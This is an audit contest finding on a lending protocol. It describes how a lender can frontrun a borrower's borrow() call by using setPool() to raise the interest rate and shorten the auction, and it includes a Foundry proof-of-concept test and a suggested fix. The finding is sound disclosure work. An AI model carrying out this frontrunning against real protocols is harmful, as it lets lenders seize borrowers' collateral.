20,000 USDC
View results
Submission Details
Severity: high
Valid

Frontrunning can cause a borrower to borrow at an unexpected interest rate and auction length which can lead to lost funds

Summary

Let’s say a malicious lender initiates a pretty standard pool where the interest rate is 10%, the auction length is 1 day, and other parameters such as maxLoanRatio all make sense.

An user might see that pool and decide to borrow from it. So that user initiates a transaction with the borrow() function in Lender.sol.

That transaction initiated by the user can be frontrunned by the lender of that pool, where the lender uses the setPool() function and updates their pool’s interest rate to be equal to the max interest rate and the auction length to be equal to 1 second, causing the user to take out a loan with different parameters than expected.

Vulnerability Details

Below is a POC illustrating how the lender can re-set their pool parameters and the user has no say on what loan parameters they are expecting.

function test_frontRunnedBorrowerTransation() public {
// lender sets up his initial pool with good parameters
vm.startPrank(lender1);
Pool memory p_1 = Pool({
lender: lender1,
loanToken: address(loanToken),
collateralToken: address(collateralToken),
minLoanSize: 100 * 10 ** 18,
poolBalance: 1000 * 10 ** 18,
maxLoanRatio: 2 * 10 ** 18,
auctionLength: 1 days,
interestRate: 1000,
outstandingLoans: 0
});
bytes32 poolId_1 = lender.setPool(p_1);
(,,,, uint256 poolBalance,,,,) = lender.pools(poolId_1);
assertEq(poolBalance, 1000 * 10 ** 18);
(,,,,,,,uint256 interestRate,) = lender.pools(poolId_1);
assertEq(interestRate, 1000);
// vm.startPrank(borrower);
Borrow memory b = Borrow({poolId: poolId_1, debt: 100 * 10 ** 18, collateral: 100 * 10 ** 18});
Borrow[] memory borrows = new Borrow[](1);
borrows[0] = b;
// before lender can borrow he can have his transaction frontrunned by a malicious lender to quickly change the
// auction length and interest rate
Pool memory p_1_modified = Pool({
lender: lender1,
loanToken: address(loanToken),
collateralToken: address(collateralToken),
minLoanSize: 100 * 10 ** 18,
poolBalance: 1000 * 10 ** 18,
maxLoanRatio: 2 * 10 ** 18,
auctionLength: 1 seconds,
interestRate: 100000,
outstandingLoans: 0
});
bytes32 poolId_1_modified = lender.setPool(p_1_modified);
assertEq(poolId_1, poolId_1_modified);
(,,,,,,,uint256 interestRate_changed,) = lender.pools(poolId_1_modified);
assertEq(interestRate_changed, 100000);
vm.startPrank(borrower);
lender.borrow(borrows);
(,,,,,,uint256 loanInterestRate,,,) = lender.loans(0);
assertEq(loanInterestRate, interestRate_changed);
}

Impact

Scenario 1 - the borrower realizes their loan has the wrong parameters and immediately exit their position:

  1. This could cause loss of trust on the protocol

Scenario 2 - the borrower does not realize the loan they received do not contain the expected parameters:

  1. This could cause the borrower to keep borrowing at an unexpectedly high interest rate.

  2. The malicious lender could start an auction that would only last 1 second. The lender could then use the seizeLoan() function in Lender.sol to claim the borrower’s collateral.

Tools Used

Manual Review & Foundry.

Recommendations

A possible solution to this could be to have one more parameter in the Borrow struct that is used as an input in the borrow() function. This parameter would represent what loan characteristics the borrower is expecting. That parameter could be a struct of Pool, or simply the expected interest rate and auction length. The code could then use those extra parameters to verify that the pool parameters the borrowers expect still equal the current parameters of the pool, and if it does then the protocol can continue to allow the borrowing to proceed, and if it does not the transaction would be reverted.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.